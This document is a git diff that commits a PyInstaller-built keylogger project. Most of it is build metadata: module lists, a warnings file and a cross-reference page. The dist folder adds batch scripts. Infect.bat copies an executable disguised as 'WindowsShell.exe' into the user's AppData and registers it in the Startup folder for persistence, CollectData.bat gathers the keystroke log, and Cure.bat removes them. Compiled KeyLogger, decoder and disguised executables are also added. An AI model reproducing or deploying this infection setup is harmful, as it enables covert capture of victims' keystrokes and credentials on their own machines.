+ 'C:\\Program Files\\Python312\\Lib\\email\\base64mime.py',
+ 'PYMODULE'),
+ ('email.charset',
+ 'C:\\Program Files\\Python312\\Lib\\email\\charset.py',
+ 'PYMODULE'),
+ ('email.contentmanager',
+ 'C:\\Program Files\\Python312\\Lib\\email\\contentmanager.py',
+ 'PYMODULE'),
+ ('email.encoders',
+ 'C:\\Program Files\\Python312\\Lib\\email\\encoders.py',
+ 'PYMODULE'),
+ ('email.errors',
+ 'C:\\Program Files\\Python312\\Lib\\email\\errors.py',
+ 'PYMODULE'),
+ ('email.feedparser',
+ 'C:\\Program Files\\Python312\\Lib\\email\\feedparser.py',
+ 'PYMODULE'),
+ ('email.generator',
+ 'C:\\Program Files\\Python312\\Lib\\email\\generator.py',
+ 'PYMODULE'),
+ ('email.header',
+ 'C:\\Program Files\\Python312\\Lib\\email\\header.py',
+ 'PYMODULE'),
+ ('email.headerregistry',
+ 'C:\\Program Files\\Python312\\Lib\\email\\headerregistry.py',
+ 'PYMODULE'),
+ ('email.iterators',
+ 'C:\\Program Files\\Python312\\Lib\\email\\iterators.py',
+ 'PYMODULE'),
+ ('email.message',
+ 'C:\\Program Files\\Python312\\Lib\\email\\message.py',
+ 'PYMODULE'),
+ ('email.parser',
+ 'C:\\Program Files\\Python312\\Lib\\email\\parser.py',
+ 'PYMODULE'),
+ ('email.policy',
+ 'C:\\Program Files\\Python312\\Lib\\email\\policy.py',
+ 'PYMODULE'),
+ ('email.quoprimime',
+ 'C:\\Program Files\\Python312\\Lib\\email\\quoprimime.py',
+ 'PYMODULE'),
+ ('email.utils',
+ 'C:\\Program Files\\Python312\\Lib\\email\\utils.py',
+ 'PYMODULE'),
+ ('fnmatch', 'C:\\Program Files\\Python312\\Lib\\fnmatch.py', 'PYMODULE'),
+ ('fractions', 'C:\\Program Files\\Python312\\Lib\\fractions.py', 'PYMODULE'),
+ ('getopt', 'C:\\Program Files\\Python312\\Lib\\getopt.py', 'PYMODULE'),
+ ('gettext', 'C:\\Program Files\\Python312\\Lib\\gettext.py', 'PYMODULE'),
+ ('gzip', 'C:\\Program Files\\Python312\\Lib\\gzip.py', 'PYMODULE'),
+ ('hashlib', 'C:\\Program Files\\Python312\\Lib\\hashlib.py', 'PYMODULE'),
+ ('importlib',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\__init__.py',
+ 'PYMODULE'),
+ ('importlib._abc',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\_abc.py',
+ 'PYMODULE'),
+ ('importlib._bootstrap',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\_bootstrap.py',
+ 'PYMODULE'),
+ ('importlib._bootstrap_external',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\_bootstrap_external.py',
+ 'PYMODULE'),
+ ('importlib.abc',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\abc.py',
+ 'PYMODULE'),
+ ('importlib.machinery',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\machinery.py',
+ 'PYMODULE'),
+ ('importlib.metadata',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\__init__.py',
+ 'PYMODULE'),
+ ('importlib.metadata._adapters',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_adapters.py',
+ 'PYMODULE'),
+ ('importlib.metadata._collections',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_collections.py',
+ 'PYMODULE'),
+ ('importlib.metadata._functools',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_functools.py',
+ 'PYMODULE'),
+ ('importlib.metadata._itertools',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_itertools.py',
+ 'PYMODULE'),
+ ('importlib.metadata._meta',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_meta.py',
+ 'PYMODULE'),
+ ('importlib.metadata._text',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_text.py',
+ 'PYMODULE'),
+ ('importlib.readers',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\readers.py',
+ 'PYMODULE'),
+ ('importlib.resources',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\__init__.py',
+ 'PYMODULE'),
+ ('importlib.resources._adapters',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\_adapters.py',
+ 'PYMODULE'),
+ ('importlib.resources._common',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\_common.py',
+ 'PYMODULE'),
+ ('importlib.resources._itertools',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\_itertools.py',
+ 'PYMODULE'),
+ ('importlib.resources._legacy',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\_legacy.py',
+ 'PYMODULE'),
+ ('importlib.resources.abc',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\abc.py',
+ 'PYMODULE'),
+ ('importlib.resources.readers',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\readers.py',
+ 'PYMODULE'),
+ ('importlib.util',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\util.py',
+ 'PYMODULE'),
+ ('inspect', 'C:\\Program Files\\Python312\\Lib\\inspect.py', 'PYMODULE'),
+ ('ipaddress', 'C:\\Program Files\\Python312\\Lib\\ipaddress.py', 'PYMODULE'),
+ ('logging',
+ 'C:\\Program Files\\Python312\\Lib\\logging\\__init__.py',
+ 'PYMODULE'),
+ ('lzma', 'C:\\Program Files\\Python312\\Lib\\lzma.py', 'PYMODULE'),
+ ('numbers', 'C:\\Program Files\\Python312\\Lib\\numbers.py', 'PYMODULE'),
+ ('opcode', 'C:\\Program Files\\Python312\\Lib\\opcode.py', 'PYMODULE'),
+ ('pathlib', 'C:\\Program Files\\Python312\\Lib\\pathlib.py', 'PYMODULE'),
+ ('pickle', 'C:\\Program Files\\Python312\\Lib\\pickle.py', 'PYMODULE'),
+ ('pprint', 'C:\\Program Files\\Python312\\Lib\\pprint.py', 'PYMODULE'),
+ ('py_compile',
+ 'C:\\Program Files\\Python312\\Lib\\py_compile.py',
+ 'PYMODULE'),
+ ('quopri', 'C:\\Program Files\\Python312\\Lib\\quopri.py', 'PYMODULE'),
+ ('random', 'C:\\Program Files\\Python312\\Lib\\random.py', 'PYMODULE'),
+ ('selectors', 'C:\\Program Files\\Python312\\Lib\\selectors.py', 'PYMODULE'),
+ ('shutil', 'C:\\Program Files\\Python312\\Lib\\shutil.py', 'PYMODULE'),
+ ('signal', 'C:\\Program Files\\Python312\\Lib\\signal.py', 'PYMODULE'),
+ ('socket', 'C:\\Program Files\\Python312\\Lib\\socket.py', 'PYMODULE'),
+ ('statistics',
+ 'C:\\Program Files\\Python312\\Lib\\statistics.py',
+ 'PYMODULE'),
+ ('string', 'C:\\Program Files\\Python312\\Lib\\string.py', 'PYMODULE'),
+ ('stringprep',
+ 'C:\\Program Files\\Python312\\Lib\\stringprep.py',
+ 'PYMODULE'),
+ ('subprocess',
+ 'C:\\Program Files\\Python312\\Lib\\subprocess.py',
+ 'PYMODULE'),
+ ('tarfile', 'C:\\Program Files\\Python312\\Lib\\tarfile.py', 'PYMODULE'),
+ ('tempfile', 'C:\\Program Files\\Python312\\Lib\\tempfile.py', 'PYMODULE'),
+ ('textwrap', 'C:\\Program Files\\Python312\\Lib\\textwrap.py', 'PYMODULE'),
+ ('threading', 'C:\\Program Files\\Python312\\Lib\\threading.py', 'PYMODULE'),
+ ('token', 'C:\\Program Files\\Python312\\Lib\\token.py', 'PYMODULE'),
+ ('tokenize', 'C:\\Program Files\\Python312\\Lib\\tokenize.py', 'PYMODULE'),
+ ('tracemalloc',
+ 'C:\\Program Files\\Python312\\Lib\\tracemalloc.py',
+ 'PYMODULE'),
+ ('typing', 'C:\\Program Files\\Python312\\Lib\\typing.py', 'PYMODULE'),
+ ('urllib',
+ 'C:\\Program Files\\Python312\\Lib\\urllib\\__init__.py',
+ 'PYMODULE'),
+ ('urllib.parse',
+ 'C:\\Program Files\\Python312\\Lib\\urllib\\parse.py',
+ 'PYMODULE'),
+ ('zipfile',
+ 'C:\\Program Files\\Python312\\Lib\\zipfile\\__init__.py',
+ 'PYMODULE'),
+ ('zipfile._path',
+ 'C:\\Program Files\\Python312\\Lib\\zipfile\\_path\\__init__.py',
+ 'PYMODULE'),
+ ('zipfile._path.glob',
+ 'C:\\Program Files\\Python312\\Lib\\zipfile\\_path\\glob.py',
+ 'PYMODULE')])
diff --git a/Dependency/build/KeyLogger/base_library.zip b/Dependency/build/KeyLogger/base_library.zip
new file mode 100644
index 0000000..70b22e6
Binary files /dev/null and b/Dependency/build/KeyLogger/base_library.zip differ
diff --git a/Dependency/build/KeyLogger/localpycs/pyimod01_archive.pyc b/Dependency/build/KeyLogger/localpycs/pyimod01_archive.pyc
new file mode 100644
index 0000000..b68973d
Binary files /dev/null and b/Dependency/build/KeyLogger/localpycs/pyimod01_archive.pyc differ
diff --git a/Dependency/build/KeyLogger/localpycs/pyimod02_importers.pyc b/Dependency/build/KeyLogger/localpycs/pyimod02_importers.pyc
new file mode 100644
index 0000000..2633c54
Binary files /dev/null and b/Dependency/build/KeyLogger/localpycs/pyimod02_importers.pyc differ
diff --git a/Dependency/build/KeyLogger/localpycs/pyimod03_ctypes.pyc b/Dependency/build/KeyLogger/localpycs/pyimod03_ctypes.pyc
new file mode 100644
index 0000000..8f3b33d
Binary files /dev/null and b/Dependency/build/KeyLogger/localpycs/pyimod03_ctypes.pyc differ
diff --git a/Dependency/build/KeyLogger/localpycs/pyimod04_pywin32.pyc b/Dependency/build/KeyLogger/localpycs/pyimod04_pywin32.pyc
new file mode 100644
index 0000000..38e97ee
Binary files /dev/null and b/Dependency/build/KeyLogger/localpycs/pyimod04_pywin32.pyc differ
diff --git a/Dependency/build/KeyLogger/localpycs/struct.pyc b/Dependency/build/KeyLogger/localpycs/struct.pyc
new file mode 100644
index 0000000..cb58c97
Binary files /dev/null and b/Dependency/build/KeyLogger/localpycs/struct.pyc differ
diff --git a/Dependency/build/KeyLogger/warn-KeyLogger.txt b/Dependency/build/KeyLogger/warn-KeyLogger.txt
new file mode 100644
index 0000000..bf40018
--- /dev/null
+++ b/Dependency/build/KeyLogger/warn-KeyLogger.txt
@@ -0,0 +1,24 @@
+
+This file lists modules PyInstaller was not able to find. This does not
+necessarily mean this module is required for running your program. Python and
+Python 3rd-party packages include a lot of conditional or optional modules. For
+example the module 'ntpath' only exists on Windows, whereas the module
+'posixpath' only exists on Posix systems.
+
+Types if import:
+* top-level: imported at the top-level - look at these first
+* conditional: imported within an if-statement
+* delayed: imported within a function
+* optional: imported within a try-except-statement
+
+IMPORTANT: Do NOT post this list to the issue-tracker. Use it as a basis for
+ tracking down the missing module yourself. Thanks!
+
+missing module named pwd - imported by posixpath (delayed, conditional, optional), shutil (delayed, optional), tarfile (optional), pathlib (delayed, optional), subprocess (delayed, conditional, optional)
+missing module named grp - imported by shutil (delayed, optional), tarfile (optional), pathlib (delayed, optional), subprocess (delayed, conditional, optional)
+missing module named posix - imported by os (conditional, optional), posixpath (optional), shutil (conditional), importlib._bootstrap_external (conditional)
+missing module named resource - imported by posix (top-level)
+missing module named _frozen_importlib_external - imported by importlib._bootstrap (delayed), importlib (optional), importlib.abc (optional)
+excluded module named _frozen_importlib - imported by importlib (optional), importlib.abc (optional)
+missing module named _posixsubprocess - imported by subprocess (conditional)
+missing module named fcntl - imported by subprocess (optional)
diff --git a/Dependency/build/KeyLogger/xref-KeyLogger.html b/Dependency/build/KeyLogger/xref-KeyLogger.html
new file mode 100644
index 0000000..7368777
--- /dev/null
+++ b/Dependency/build/KeyLogger/xref-KeyLogger.html
@@ -0,0 +1,7244 @@
+
+
+
+
+ modulegraph cross reference for KeyLogger.py, pyi_rth_inspect.py
+
+
+
+ modulegraph cross reference for KeyLogger.py, pyi_rth_inspect.py
+
+
+
+
+
+
+
+
_abc (builtin module)
+
+
+
+
+
+
_ast (builtin module)
+
+
+
+
+
+
_bisect (builtin module)
+
+
+
+
+
+
_blake2 (builtin module)
+
+
+
+
+
+
_bz2 C:\Program Files\Python312\DLLs\_bz2.pyd
+
+
+
+
+
+
_codecs (builtin module)
+
+
+
+
+
+
_codecs_cn (builtin module)
+
+
+
+
+
+
_codecs_hk (builtin module)
+
+
+
+
+
+
_codecs_iso2022 (builtin module)
+
+
+
+
+
+
_codecs_jp (builtin module)
+
+
+
+
+
+
_codecs_kr (builtin module)
+
+
+
+
+
+
_codecs_tw (builtin module)
+
+
+
+
+
+
_collections (builtin module)
+
+
+
+
+
+
+
+
+
+
+
+
_contextvars (builtin module)
+
+
+
+
+
+
_csv (builtin module)
+
+
+
+
+
+
_ctypes C:\Program Files\Python312\DLLs\_ctypes.pyd
+
+
+
+
+
+
_datetime (builtin module)
+
+
+
+
+
+
+
_decimal C:\Program Files\Python312\DLLs\_decimal.pyd
+
+
+
+
+
+
+
+
+
+
_functools (builtin module)
+
+
+
+
+
+
_hashlib C:\Program Files\Python312\DLLs\_hashlib.pyd
+
+
+
+
+
+
_heapq (builtin module)
+imported by:
+
heapq
+
+
+
+
+
+
+
+
_imp (builtin module)
+
+
+
+
+
+
_io (builtin module)
+
+
+
+
+
+
_locale (builtin module)
+
+
+
+
+
+
_lzma C:\Program Files\Python312\DLLs\_lzma.pyd
+
+
+
+
+
+
_md5 (builtin module)
+
+
+
+
+
+
_multibytecodec (builtin module)
+
+
+
+
+
+
_opcode (builtin module)
+
+
+
+
+
+
_operator (builtin module)
+
+
+
+
+
+
_pickle (builtin module)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
_random (builtin module)
+
+
+
+
+
+
_sha1 (builtin module)
+
+
+
+
+
+
_sha2 (builtin module)
+
+
+
+
+
+
_sha3 (builtin module)
+
+
+
+
+
+
_signal (builtin module)
+
+
+
+
+
+
_socket C:\Program Files\Python312\DLLs\_socket.pyd
+
+
+
+
+
+
_sre (builtin module)
+
+
+
+
+
+
+
_stat (builtin module)
+
+
+
+
+
+
_statistics (builtin module)
+
+
+
+
+
+
_string (builtin module)
+
+
+
+
+
+
+
+
_struct (builtin module)
+
+
+
+
+
+
_thread (builtin module)
+
+
+
+
+
+
+
+
_tokenize (builtin module)
+
+
+
+
+
+
_tracemalloc (builtin module)
+
+
+
+
+
+
_typing (builtin module)
+
+
+
+
+
+
_warnings (builtin module)
+
+
+
+
+
+
_weakref (builtin module)
+
+
+
+
+
+
+
+
_winapi (builtin module)
+
+
+
+
+
+
abc
+
SourceModule
+
+
+
+
+
+
+
+
+
array (builtin module)
+
+
+
+
+
+
ast
+
SourceModule
+
+
+
+
+
+
+
atexit (builtin module)
+
+
+
+
+
+
base64
+
SourceModule
+
+
+
+
+
+
+
binascii (builtin module)
+
+
+
+
+
+
bisect
+
SourceModule
+
+
+
+
+
+
+
builtins (builtin module)
+
+
+
+
+
+
bz2
+
SourceModule
+
+
+
+
+
+
+
+
+
codecs
+
SourceModule
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
copy
+
SourceModule
+
+
+
+
+
+
+
+
+
csv
+
SourceModule
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
dis
+
SourceModule
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
enum
+
SourceModule
+
+
+
+
+
+
+
errno (builtin module)
+
+
+
+
+
+
fcntl
+
MissingModule
+
+
+
+
+
+
+
+
+
+
+
+
gc (builtin module)
+
+
+
+
+
+
+
+
+
getopt
+
SourceModule
+
+
+
+
+
+
+
+
+
grp
+
MissingModule
+
+
+
+
+
+
gzip
+
SourceModule
+
+
+
+
+
+
+
+
+
heapq
+
SourceModule
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
io
+
SourceModule
+
+
+
+
+
+
+
+
+
itertools (builtin module)
+
+
+
+
+
+
+
+
+
+
locale
+
SourceModule
+
+
+
+
+
+
+
+
+
lzma
+
SourceModule
+
+
+
+
+
+
+
marshal (builtin module)
+
+
+
+
+
+
math (builtin module)
+
+
+
+
+
+
msvcrt (builtin module)
+
+
+
+
+
+
nt (builtin module)
+
+
+
+
+
+
ntpath
+
SourceModule
+
+
+
+
+
+
+
+
+
+
+
opcode
+
SourceModule
+
+
+
+
+
+
+
+
+
os
+
SourceModule
+
+
+
+
+
+
+
+
+
pickle
+
SourceModule
+
+
+
+
+
+
+
posix
+
MissingModule
+
+
+
+
+
+
+
+
+
pprint
+
SourceModule
+
+
+
+
+
+
+
pwd
+
MissingModule
+
+
+
+
+
+
+
+
quopri
+
SourceModule
+
+
+
+
+
+
+
random
+
SourceModule
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
select C:\Program Files\Python312\DLLs\select.pyd
+
+
+
+
+
+
+
+
shutil
+
SourceModule
+
+
+
+
+
+
+
signal
+
SourceModule
+
+
+
+
+
+
+
socket
+
SourceModule
+
+
+
+
+
+
+
+
+
+
+
+
+
stat
+
SourceModule
+
+
+
+
+
+
+
+
+
string
+
SourceModule
+
+
+
+
+
+
+
+
+
struct
+
SourceModule
+
+
+
+
+
+
+
+
+
sys (builtin module)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
time (builtin module)
+
+
+
+
+
+
+
token
+
SourceModule
+
+
+
+
+
+
+
+
+
+
+
+
types
+
SourceModule
+
+
+
+
+
+
+
typing
+
SourceModule
+
+
+
+
+
+
+
unicodedata C:\Program Files\Python312\DLLs\unicodedata.pyd
+
+
+
+
+
+
+
+
+
+
+
+
+
+
winreg (builtin module)
+
+
+
+
+
+
+
+
+
+
+
+
zlib (builtin module)
+
+
+
+
+
diff --git a/Dependency/dist/CollectData.bat b/Dependency/dist/CollectData.bat
new file mode 100644
index 0000000..35f4869
--- /dev/null
+++ b/Dependency/dist/CollectData.bat
@@ -0,0 +1 @@
+copy %appdata%\Record.log
\ No newline at end of file
diff --git a/Dependency/dist/Cure.bat b/Dependency/dist/Cure.bat
new file mode 100644
index 0000000..78dc19c
--- /dev/null
+++ b/Dependency/dist/Cure.bat
@@ -0,0 +1,4 @@
+del "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsShell.lnk"
+del %appdata%\Record.log
+TASKKILL /F /IM WindowsShell.exe /T
+del %appdata%\WindowsShell.exe
\ No newline at end of file
diff --git a/Dependency/dist/Infect.bat b/Dependency/dist/Infect.bat
new file mode 100644
index 0000000..aa8990d
--- /dev/null
+++ b/Dependency/dist/Infect.bat
@@ -0,0 +1,3 @@
+copy WindowsShell.exe %appdata%
+copy WindowsShell.lnk "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
+start "" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\WindowsShell.lnk"
diff --git a/Dependency/dist/KeyLogger.exe b/Dependency/dist/KeyLogger.exe
new file mode 100644
index 0000000..c259a88
Binary files /dev/null and b/Dependency/dist/KeyLogger.exe differ
diff --git a/Dependency/dist/RecordDecoder.exe b/Dependency/dist/RecordDecoder.exe
new file mode 100644
index 0000000..2027445
Binary files /dev/null and b/Dependency/dist/RecordDecoder.exe differ
diff --git a/Dependency/dist/WindowsShell.exe b/Dependency/dist/WindowsShell.exe
new file mode 100644
index 0000000..ffea3c2
Binary files /dev/null and b/Dependency/dist/WindowsShell.exe differ
diff --git a/KeyLogger.lnk b/KeyLogger.lnk
new file mode 100644
index 0000000..cee5a19
Binary files /dev/null and b/KeyLogger.lnk differ